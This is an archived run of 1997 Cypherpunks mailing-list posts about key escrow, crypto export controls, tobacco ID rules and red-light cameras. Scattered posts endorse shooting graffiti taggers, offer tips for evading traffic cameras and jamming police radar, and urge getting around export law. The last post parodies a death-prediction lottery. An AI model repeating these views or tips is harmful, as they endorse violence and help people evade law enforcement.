In my community, it is even illegal to buy spray paints and give them or
make them available to those under some age (18 or 21...I don't know).

I like my solution a lot better: anyone can buy the fucking spray paint,
but taggers are shot down by those whose property they're trespassing on.

Seems consistent with personal freedom and responsibility.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 4 Sep 1997 13:15:49 +0800
To: Unicorn <cypherpunks@toad.com
Subject: Re: Dr. Dobbs CD-ROM outside the US?
In-Reply-To: <19970903171900.47376@sequent.com>
Message-ID: <3.0.2.32.19970903220104.006f2348@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:19 PM 9/3/97 +0200, Unicorn wrote:
>Hi Guys (F/M),
>
>I am seeing messages about the Dr.Dobbs Crypto CD-ROM not being received
>by persons inside the US, but right  now I wonder if this information is
>or will  be available,  in this  form, outside of  the US?

I predict that entire image file will be available for ftp within 48 hours
of release of the CDROM.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 4 Sep 1997 15:30:19 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Big Brother is watching
In-Reply-To: <199709040143.DAA17878@basement.replay.com>
Message-ID: <3.0.2.32.19970903221748.0076891c@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:32 PM 9/3/97 -0700, Tim May wrote:
>By the way, the last time I was driving around the Greater Washington
>National Compound, there were signs in Virginia declaring that use of radar
>detectors was illegal.
>
>This sort of banning of certain technologies which "hinder law enforcement"
>is of course what we were talking about a few weeks ago, with the "for law
>enforcment use only" trends in the PRA.

I read in this morning's paper that in the wake of Diana's death, bills are
being proposed to require licensing for the use of high powered telescopic
lenses such as those used by celebrity photographers. Ignoring for a moment
that such an act would make physical confrontation with said photographers
even more likely, I note the similarity in language used to describe camera
lenses to language used to describe certain firearms. Soon we will hear
about the dangers of "assault lenses". The sheeple will eat it up.

As somebody once said on this list:
"The First Amendment was never meant to protect assault language or verbal
rape"...

BTW, just for the record, I believe that we live in a consumer society and
the People choose the government they want. The average person doesn't care
who thinks for them as long as they don't have to think for themselves and
can pretend to themselves that it was in fact they who did the thinking.

The People desire a master, not a revolution.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 4 Sep 1997 15:30:00 +0800
To: <cypherpunks@Algebra.COM>
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls (fwd)
In-Reply-To: <199709040308.XAA30508@mx02.together.net>
Message-ID: <3.0.2.32.19970903222635.007669e4@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:08 PM 9/3/97 -0400, Brian B. Riley wrote:
> ... hmmmm,  immediate *lawful* decryption ... which implies that they 
>plan to end run the Bill of Rights with some law that permits them to 
>walk in and snoop on the spot ... right now to look at my mail which 
>needs no key, just a teakettle, they at least have to stop somewhere and 
>find a tame judge, which removes at least some of the immediacy.

Finding a judge to sign an order to decrypt the email of a suspected child
pornographer/drug dealer will take all of 30 minutes. I don't think a 30
minute delay will be of any consequence to the government's agenda. Not to
mention that Freeh lied to Congress when he claimed that they would always
use a court order. Even today, court orders are not always required for
wiretaps. This will be no different for future "mandatory" or "involuntary"
GAK.

[BTW, does anybody here have any idea why Freeh might stated that he
preferred "mandatory" GAK over "involutary" GAK? Just curious...]

Back to monkeywrenching,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 4 Sep 1997 15:30:12 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls (fwd)
In-Reply-To: <199709040308.XAA30508@mx02.together.net>
Message-ID: <3.0.2.32.19970903223516.0076b344@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:54 PM 9/3/97 -0700, Tim May wrote:
>I don't know where the authority for mandatory seat belts and  air bags is
>claimed to come from, either. Or helmet laws in various states. Someone
>else is welcome to spend time researching this. Personally, all such laws
>are infringements on personal freedom, in my view. I half expect a case
>will be made that key escrow is a "safety" feature. Freeh's invocation of
>air bags may have been a clever signal.

I noticed that strange air bag analogy myself. Clearly, Freeh and his
puppet masters are trying to skew the discussion towards "public safety".
Of course, requiring GAK is more like requiring a remote kill switch in the
ignition of all new cars so cops can just type a license plate number into
their terminal to halt a fleeing car. [BTW, such kill switches will be
required before long. I trust we all know this].

Frankly, I don't care if they outlaw crypto. We'll just glue stego on top
of it. And Joe Sixpack couldn't care less. Nor do I care if Joe Sixpack
wants to be spanked by his wife or plungered by his government. It's his
choice.




--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Thu, 4 Sep 1997 11:10:16 +0800
To: Unicorn <hvdl@sequent.com>
Subject: Re: PGP Keyservers and 5.0 DSS/D-H Keys...
In-Reply-To: <19970903182604.17756@sequent.com>
Message-ID: <3.0.3.32.19970903224658.03486844@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 06:26 PM 9/3/97 +0200, Unicorn wrote:
>Are the current (mostly PGP 2.6.x based) keyservers able to incorporate,
>store and provide the new PGP  5.0 based DSS/Diffie-Hellman keys? And if
>not how can  one publish (the public  part of) such a  key using nothing
>more than email or a web-browser behind a firewall that does not allow a
>direct connection to a keyserver on port 11371?

Part of your answer is that the 2.6.x servers, once modified, will handle
5.0 keys.

We have a keyserver running at keys.efga.org that handles the 2.6.x and the
5.0 keys.  Right now I think we only support the PGP5.0 HTML based
interface that operates on port 11371.  I don't think we implemented web
based or email based key submission.  This would be trivial to add, we just
didn't do it.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 4 Sep 1997 13:53:12 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Dr. Dobbs CD-ROM outside the US?
In-Reply-To: <19970903171900.47376@sequent.com>
Message-ID: <v03102805b033fa66e48f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:01 PM -0700 9/3/97, Lucky Green wrote:
>At 05:19 PM 9/3/97 +0200, Unicorn wrote:
>>Hi Guys (F/M),
>>
>>I am seeing messages about the Dr.Dobbs Crypto CD-ROM not being received
>>by persons inside the US, but right  now I wonder if this information is
>>or will  be available,  in this  form, outside of  the US?
>
>I predict that entire image file will be available for ftp within 48 hours
>of release of the CDROM.
>

Since when does it take 48 hours for a FedEx delivery to Europe?

(Not to mention a direct transmissio, except there the chances of detection
are actually greater.)


(Hey, maybe someone could _print out_ the crypto code in the CD-ROM, then
export the print out, then recruit a team in Europe to pretend to OCR it,
and so on. Then they could announce that the text had been "converted from
text back to bits" and all the legal mumbo jumbo will be copacetic. The OCR
charade is a pretty good legal defense.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 4 Sep 1997 12:58:34 +0800
To: "Brian B. Riley" <brianbr@together.net>
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls
In-Reply-To: <199709040317.XAA32663@mx01.together.net>
Message-ID: <199709040356.WAA10181@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199709040317.XAA32663@mx01.together.net>, on 09/03/97 
   at 11:17 PM, "Brian B. Riley" <brianbr@together.net> said:

> So, looking at all this, what does it mean???? Are they going to have an
>amnesty period when I can run down to my local firehouse and turn in my
>PGP5 CDROM without risking going to jail? Will MIT turn over logs of
>everyone who ever d/l-ed PGP2 and we have four weeks to turn over every
>backup disk we ever made? If they do get this by us, and I decide to use
>their silly-assed encryption, do I get a ten year all expense paid
>vacation at the Allenwood Hilton if I send my bootlegged PGP message
>inside their encryption?

Well Freeh and the rest of his Gestapo are more than welcome to come and
pick-up all the crypto software I have solong as the are willing to
collect the several cases of lead I have also. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNA4jyI9Co1n+aLhhAQGdogP+Mh3iaJv4hfoi4zPsYc5vcrmYdGaxpoaJ
wYo585nBJtCV3QXNrOPNQEhuU2dZtuqyTjJH2ysFdbYxw5cq1tRG8aNXWzBDTiJp
GYg7ChK5qB0VK3iT3IhThog1n/fEyEwRf3cdJYcEMv0NgO35jmFH6lkcqhqSknPH
b7h3j30JIsI=
=XFwC
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Thu, 4 Sep 1997 11:23:18 +0800
To: <cypherpunks@Algebra.COM>
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls (fwd)
Message-ID: <199709040308.XAA30508@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 9/3/97 8:30 PM, Lucky Green (shamrock@netcom.com)  passed this wisdom:

>[Freeh]
>There are a number of ways that that could be
>implemented, but what we believe we need as a minimum
>is a feature implemented and designed by the
>manufacturers of the products and services here that
>will allow law enforcement to have an immediate lawful
>decryption of the communications in transit or the
>stored data.  That could be done in a mandatory
>manner.  It could be done in an involuntary manner.
>But the key is that we have the ability.
>-

 ... hmmmm,  immediate *lawful* decryption ... which implies that they 
plan to end run the Bill of Rights with some law that permits them to 
walk in and snoop on the spot ... right now to look at my mail which 
needs no key, just a teakettle, they at least have to stop somewhere and 
find a tame judge, which removes at least some of the immediacy.


Brian B. Riley --> http://www.macconnect.com/~brianbr
         For PGP Keys -  Send Email Subject "Get PGP Key"
  "In effect, to follow, not to force the public inclination; to give a
   direction, a form, a technical dress, and a specific sanction, to the
   general sense of the community, is the true end of legislature." 
       -- Edmund Burke






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Thu, 4 Sep 1997 11:39:26 +0800
To: <cypherpunks@toad.com>
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls
Message-ID: <199709040317.XAA32663@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 So, looking at all this, what does it mean???? Are they going to have
an amnesty period when I can run down to my local firehouse and turn
in my PGP5 CDROM without risking going to jail? Will MIT turn over
logs of everyone who ever d/l-ed PGP2 and we have four weeks to turn
over every backup disk we ever made? If they do get this by us, and I
decide to use their silly-assed encryption, do I get a ten year all
expense paid vacation at the Allenwood Hilton if I send my bootlegged
PGP message inside their encryption?

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNA4oP8dZgC62U/gIEQLkIQCgsEasNm3JxBrHz1djEo2BvO1jyikAnis8
fDdwE1GjXBOhOMRrNRxSs0XW
=Wz3y
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
        For PGP Keys -  Send Email Subject "Get PGP Key"
  "Patriotism is the last refuge of the scoundrel" -- Samuel Johnson
  "With all due respect to an enlightened but inferior lexicographer I
    beg to submit that it is the first." 
           -- Ambrose Bierce's commentary on Johnson's definition.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 4 Sep 1997 11:52:10 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Big Brother is watching
Message-ID: <199709040328.XAA03610@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:43 AM 9/4/97 +0200, Anonymous wrote:
...
>>With this wonderful sucess, We can all look forward to this items being
>>placed in our domiciles in order to further protect us from crime.
>
>And I'll give my kids a can of spray paint and a ladder. Maybe I'll offer 
>bonus prizes if they can figure out an inventive, undetectable way to disable
>the fucker.
...
In Altus, it is illegal to sell spray paint to persons under the age of 18.
That makes two violations of their rights that I know of.
The curfue which was enacted a couple years ago being the first.
All because the local politicians are fully aware that they are too young to
vote.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 4 Sep 1997 14:53:48 +0800
To: cypherpunks@Algebra.COM
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls (fwd)
Message-ID: <3.0.32.19970903234934.006df9e4@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>A much stronger basis for stopping the Freeh nonsense is to strongly assert
>the First Amendment.  Dictating the form that speech must take--escrow--is
>unconstitutional.
.......................................................

One would think that Freeh, Denning, et al, would know these things
already.  Or that one of their legal advisors would remind them of it.   

I also noticed in the news on TV tonight that there are Clinton &
Supporters, Inc. proposals being prepared for ensuring that stores actually
do require purchasers of cigarrettes to display an ID, so that minors are
prevented from smoking.   This is also contrary to the principles of being
left alone, but who among our protectors is watching over the boundary
lines, fighting back the infidels?   

Who cares about the Constitution any more?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 4 Sep 1997 15:48:30 +0800
To: cypherpunks@cyberpass.net
Subject: on the social taboo/stigma
Message-ID: <199709040733.AAA16333@netcom12.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




consider the recent events surrounding cigarettes. various laws
were passed for many decades that made them more difficult to 
obtain and sell. regulations increased. yet they have not
seen major effects in sales until relatively recently in history.
why is this?

because of the social taboo and stigma associated with them. 
this taboo and stigma only recently arose. and its efficacy
is attested to by the figures on the sales of cigarettes, which
have gone down considerably in the US. (yes I am aware of what
is happening in foreign markets-- please stay with me for a minute).
we have tobacco executives virtually being put on trial. their shame
is palpable.

what I would like to try to draw to your attention here to something
very powerful. it is the social taboo or stigma, and in some ways
it is the only long-lasting, enduring landmark of social 
consciousness. laws may come and go. people may obey or 
not follow laws. what is the
difference? I think it is clear that it is not taboo to break
some laws in the public's mind. (prohibition is one example).

laws can be viewed as an attempt to create a social taboo or
stigma via legislation. it is effective for the most part. but
it can be unreasonable and public opinion can diverge from the
laws.

what is the cpunk relevance? well, I am trying to point out that
taboos and stigmas are very powerful weapons. a government may
have physical weapons, but not use them because of international 
stigma. the reaction of other countries might be so great that
the "benefits" (a horrific term in this case) are not worth the
loss of accommodations given by other countries, which would
be retracted.

social stigmas/tabboos are very important in gauging the psyche
of a public. you can psychoanalyze the public at large by
determining what they consider taboo or stigmas. mass social
movements represent shifts in taboos and stigmas. consider
the sexual revolution for example. in some ways, the taboo
or stigma in a person's psyche are the root measure of their
behavior, not laws. if someone perceives there is no
taboo or stigma ("not getting caught" is related to this) there
is no deterrent.

===

here's the application. if cpunks wish to achieve certain goals,
one way is to try to create stigmas and taboos where none previously
existed, or tear down those that already exist that are obstacles
to the cpunk agenda. so, for example, a "stigma" about exporting
unapproved cryptography could be turned into a badge of honor. likewise,
we could create a "stigma" about working in the NSA.

this is the main them I want to nail in this letter.
many people are in jobs that some may consider ethically reprehensible.
they believe they have no choice. consider the tens of thousands
of very intelligent people (some of the most intelligent on the 
planet) that are *right*now* creating horrendous weapons of 
destruction in the name of "defense". they know in their hearts
that these weapons are stretching the concept of defense to the
"indefensible" so to speak. that is, they could only have 
offensive (in all senses of the word) applications.

moreover, even if they have defensive capabilities, they have
absolutely no way of ensuring their government would not misapply
them. anyone who thinks otherwise is pathetically naive. there
were famous scientists who developed the atom bomb who had
major turns of thought after they saw how it was applied. but
does anybody listen today? I encourage anyone working on their
ingenious defense research to get the slightest historical
clue about atom bomb development. how smart do you really think
you are, if what you are developing can be misused, and you
are merely a pawn in a big machine?

I am writing this letter to all those people who are *right*now*
channeling their own human energies into sinister applications. 
you might be working for the NSA. you might be working in the
defense industry. whereever, whatever. you have pangs of conscience
that you don't want to face. you can go a whole lifetime not
thinking about it. your superiors and everything in your environment
encourages you *not* to *think* about it. 

I am asking you to *think* about it. I am asking you to realize
that governments cannot go in the direction that they are not
supported. if tomorrow everyone who worked in the NSA said, 
"I am fed up, I don't have to take this job, they can intimidate
me but this is a free country, I have skills that are valuable
channelled elsewhere and not in constricting freedoms"-- the NSA would be
dead. you don't need laws or to create revolutions or governments
to get social change. in fact revolutions are typically intrinsically 
beyond laws, and new governments arise only when society's thoughts
change.

everything, *everything* that cpunks rail against is being held
up by other *people*. these people are not evil, they merely
think differently. many of them react to mass social pressure
and stigma. can the public successfully create new, effective
stigmas that pressure government to reform? it appears to me this
is already happening. I suggest we focuse not on laws or institutions,
but on the people holding them up, and their beliefs.

I suspect there are people such as I am alluding to on the cypherpunk list.
I think there are a lot of very talented programmers, for example,
working on applications of highly questionable moral value (such
as weapons of mass destruction). does anyone have any idea how
much tax money goes into so-called "defense" projects? what evils
have been perpetrated under the guise of "national security"?

I believe that the value of the cpunk list is that it has successfully
created some new taboos and stigmas (associated with spooks), 
and removed others (such as criticism of the government, etc.)

I think that we need to create some new stigmas and nail them 
down emphatically. such as, 
"know that what you are working on is going toward
a greater good" (i.e. a stigma or taboo associated with the
lack of this), not "keep your mouth shut and don't ask any
questions". consider a programmer union that had recommendations
to its members such as these. "I will not work on code that
can be misused for violence. I will not work on code that
does not have adequate safeguards against its use" etc.
do you know what all your friends and neighbors are doing?
can we make it so that its really *uncool* to be supporting
rotten institutions via one's labor, instead of having some
kind of warped charisma associated with being a "rocket scientist"?

to borrow an ominous phrase, I call on the oppressed workers of 
the world to unite. I call on you to discover your own power 
and conscience. I call on you to have a philosophy 
that you have thought out, and
to adhere to it. consider what you are applying *your* energy
to. and consider the possibility that even though you think you
have no choice, that is the lie that keeps you as a secure  
brick in the wall of oppression. all the rotten structures of
power would collapse in an instant if those who held them up
stopped doing so.

if nobody will work on his software, Big Brother cannot exist.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 4 Sep 1997 08:26:30 +0800
To: iang@cs.berkeley.edu
Subject: don't let export controls hinder coding (Re: Things we should be working on...)
In-Reply-To: <5uk1uc$jso$1@abraham.cs.berkeley.edu>
Message-ID: <199709032347.AAA00901@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Ian Goldberg <iang@cs.berkeley.edu> writes:
> In article <199709022216.XAA00915@server.test.net>,
> Adam Back  <aba@dcs.ex.ac.uk> wrote:
> >I can't see that export controls are much of a big deal for freeware
> >cypherpunk software ... just publish it on a US site with whatever
> >access controls you fancy.  It'll make it's way out of the country in
> >a few minutes [...]
> >
> >It's not as if you're trying to sell it, or are a corporation worrying
> >about stepping on toes at NSA Inc. 
> >
> >Just release it in the US.  Lets someone else do the export.
> 
> I'm not primarily talking about _products_, here; I'm not selling stuff.
> I'm just trying to publish!  Part of my research (which focuses on computer
> security) involves (surprise) building secure systems or breaking insecure
> ones.  Where this involves cryptography or cryptanalysis, I am prohibited
> from publishing these systems on the Net, from my homepage (and I don't
> _want_ to put access control on my homepage).

Hmmm...  There are lots of crypto papers on the net.  Pick a US
cryptographer, his home page will be bristling with papers
(postscript, html whatever).

If you're talking about publishing code to go with your paper, well
publish the URL in your paper, and put the code at the URL.  There
seems to be a reasonable selection of code at the cypherpunks ftp site
@ berekely judging from the Italian mirror of it.

Some of _your_ code is on that site...

Adam
--
<A HREF="http://www.dcs.ex.ac.uk/~aba/rsa/print%20pack%22C*%22,split/%5cD+/,%60echo%20%2216iII*o%5cU@%7b$/=$z%3b%5b(pop,pop,unpack%22H*%22,%3c%3e)%5d%7d%5cEsMsKsN0%5blN*1lK%5bd2%25Sa2/d0%3cX+d*lMLa%5e*lN%250%5ddsXx++lMlN/dsM0%3cJ%5ddsJxp%22%7cdc%60%3b$/">
Have <I>you</I> exported RSA today?</A>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 4 Sep 1997 16:20:38 +0800
To: Blanc <cypherpunks@Algebra.COM
Subject: Re: FBI calls for mandatory key escrow; Denning on export  ctrls (fwd)
In-Reply-To: <3.0.32.19970903234934.006df9e4@cnw.com>
Message-ID: <3.0.2.32.19970904010043.007359c0@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:51 PM 9/3/97 -0700, Blanc wrote:
>I also noticed in the news on TV tonight that there are Clinton &
>Supporters, Inc. proposals being prepared for ensuring that stores actually
>do require purchasers of cigarrettes to display an ID, so that minors are
>prevented from smoking.   This is also contrary to the principles of being
>left alone, but who among our protectors is watching over the boundary
>lines, fighting back the infidels?   

As signs in any liquor store have been informing tobacco customers for
months, new FDA regulations require stores to check the ID of any tobacco
customer under 25. This despite the fact that you are legally allowed to
purchase tobacco products at age 18. If the store fails to check the ID of
a person legally permitted to conduct the purchase but is under age 25, the
store faces hefty fines.

This is of course just another extension of the "requiring ID for
everything" long-term goal of the government. Tim recently nicely recapped
some of the transponder implant issues our society will soon face. "No
transponder, no shoes, no shirt, no service".

[To our international readers: many stores in the US have signs by their
door that read "No shoes, no shirt, no service"].


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Feanor <feanor@nym.alias.net>
Date: Thu, 4 Sep 1997 09:29:15 +0800
To: Unicorn <cypherpunks-unedited@toad.com
Subject: Re: PGP Keyservers and 5.0 DSS/D-H Keys...
Message-ID: <19970904010624.28235.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sep 3, 17:07, Unicorn wrote:
} Subject: PGP Keyservers and 5.0 DSS/D-H Keys...
> Hi Guys (F/M),
> 
> Just a quick question.
> 
> Are the current (mostly PGP 2.6.x based) keyservers able to incorporate,
> store and provide the new PGP  5.0 based DSS/Diffie-Hellman keys? And if

Well, given that PGP 5 has a functionality just for sending and recieving keys
with said keyservers... :-)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQBVAwUBNA3U0RkU7YRPCnEJAQGgRwH/fX99svPMi51o7NIJGwrC1k59QioStPsk
A9jjBb3MX7JMaYEWg9ubwhZMg3RPpa6ASSnvnRMxkVgG3sELIGR1Sg==
=xmXy
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 4 Sep 1997 16:39:34 +0800
To: cypherpunks@Algebra.COM
Subject: Smoking and IDs
Message-ID: <3.0.32.19970904013123.006e0204@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:

>As signs in any liquor store have been informing tobacco customers for
>months, new FDA regulations require stores to check the ID of any tobacco
>customer under 25. This despite the fact that you are legally allowed to
>purchase tobacco products at age 18. If the store fails to check the ID of
>a person legally permitted to conduct the purchase but is under age 25, the
>store faces hefty fines.
........................................................

Thanks for providing more details on this, Lucky, I overlooked the fact
that not everyone on the list will understand the situation was referring
to.   Another odd thing:    I was talking to the clerk at a convenience
store about the ID sign next to the register, and she said that on the
other hand, there aren't any such requirements for the purchase of any of
the cigars which were on display on the counter.

Another odd thing is how popular cigars have become lately.  Last month I
bought a copy of "Cigar Aficionado" magazine to peruse, even though I don't
smoke, because it was so pretty :>) and spent quite some time looking at
their web site.   It is a curious matter that when one "vice" is squelched,
another grows in its place.   This magazine really emphasizes living "the
good life", and I discovered that there are places springing up all over
the U.S. (and I expect elsewhere) which are smoking clubs - people can
actually go there just to smoke their cigar, perhaps with a glass of
after-dinner liquor.    I thought this was a great idea, myself, because
here these people can be with others who enjoy the same activity, and
there's no one outside who can complain (not yet, anyway). 

I think sometimes it is not only a Truth, but a great & useful Means to an
End, that "living well is the best revenge".

Not sure how this will apply to transponder implants, though.   A subject
for late-night speculation.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 4 Sep 1997 16:46:05 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: Dr. Dobbs CD-ROM outside the US?
In-Reply-To: <3.0.2.32.19970903220104.006f2348@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970904013353.0076a3d8@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:48 PM 9/3/97 -0700, Tim May wrote:
>Since when does it take 48 hours for a FedEx delivery to Europe?

Actually, some recent FedEx packages I sent to Europe took about that long.
Add   to that the overhead of going to the mailbox and putting it up for
ftp and 48 hours is cutting it pretty close.

>(Not to mention a direct transmissio, except there the chances of detection
>are actually greater.)

That depends. Some printed matter I sent to Europe not too long ago arrived
with a tag stating that diversion to certain countries would be in
violation of US export laws. I am not 100% certain, but I do not recall
that tag being on the box when it was shipped from the mailbox place. Which
suggests that somebody along the way opened the package and inspected its
contents.  When asking FedEx about this, the clerk assured me that it was
routine for US customs to inspect outgoing packages. The clerk seemed quite
confused that I was unaware of this fact.

I strongly suspect that if some Cyphercriminals were to aid in exporting
the information contained on that CDROM, they would use electronic means. I
may be wrong.

OK, I'll offer a prize: $10 in Ecash to the person that best predicts the
time it will take to export the entire contents of the Dr. Dobbs crypto CD.
The time span of interest is the average of the time during which the first
three US purchasers stating they received the CD and the time its contents
are received by a European or Asian crypto archive as determined by its
curator. If no US purchasers provide me with the time at which they
received their CD, I will use the time at which I received my CD. I am the
final judge of the contest.

Entries go to me, not to the list.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 4 Sep 1997 09:55:55 +0800
To: cypherpunks@toad.com
Subject: Re: Big Brother is watching
Message-ID: <199709040143.DAA17878@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Chip Mefford propelled us into the future by writing:

>Fairfax County, In the Peoples Republic of Virginia

It's Fairfax City, I think, which is an independent city wholly contained
in Fairfax County. At least they were the only ones with this shit deployed.

>Citizens in the PRV who have been travelling in Fairfax County will soon
>be recieving summons to come pay their dues to the monster in the form of
>traffic citations for running red lights issued by Big Brother.

This was discussed a while ago. Buy a license plate cover ("Just protecting my
plates against stones and vandalism, Officer!") that's virtually transparent
from head-on, but opaque beyond  a certain view angle. I think these things
exist -- look in Car & Driver or some such.

And if some peckerhead parks his SUV in your driveway to nail speeders, buy a
"radar detector tester" (maybe C&D, or an electronic-hobbyist's magazine) and
crank it up every now and again while he's trying to catch violators. Do it
from the safety of your house so you don't wind up with a nightstick up your
ass.

<snip>

>With this wonderful sucess, We can all look forward to this items being
>placed in our domiciles in order to further protect us from crime.

And I'll give my kids a can of spray paint and a ladder. Maybe I'll offer 
bonus prizes if they can figure out an inventive, undetectable way to disable
the fucker.

Shit, they're trying to nail Marv Albert for consensual sodomy, which is also
a "crime" in the PRV, if they can't get him on the assault charges. So think twice before you and your SO get into acts of Hooverism down Virginia way.

N.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dead Lucky <dl@dev.null>
Date: Thu, 4 Sep 1997 17:59:14 +0800
To: cypherpunks@toad.com
Subject: We have a WINNER!!!
Message-ID: <340E82AD.3723@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Dead Lucky
                           ----------
                       AP Lotto Enterprises
           (A Subdivision of the Reformatory Party of Canada)

                        Unlucky in Life?
                     Try your luck at Death!
  If you can correctly predict the date and time of death of others
 then you can win large prizes payable in untaxable, untraceable eca$h.
                                  ----------

Congratulations to the anonymous entity who correctly predicted the date 
of the death of Princess Diana.
	QEII - Come on down!
Just send us the confirmation number you received at the time of your
entry, along with instructions for forwarding your ecaSh prize.

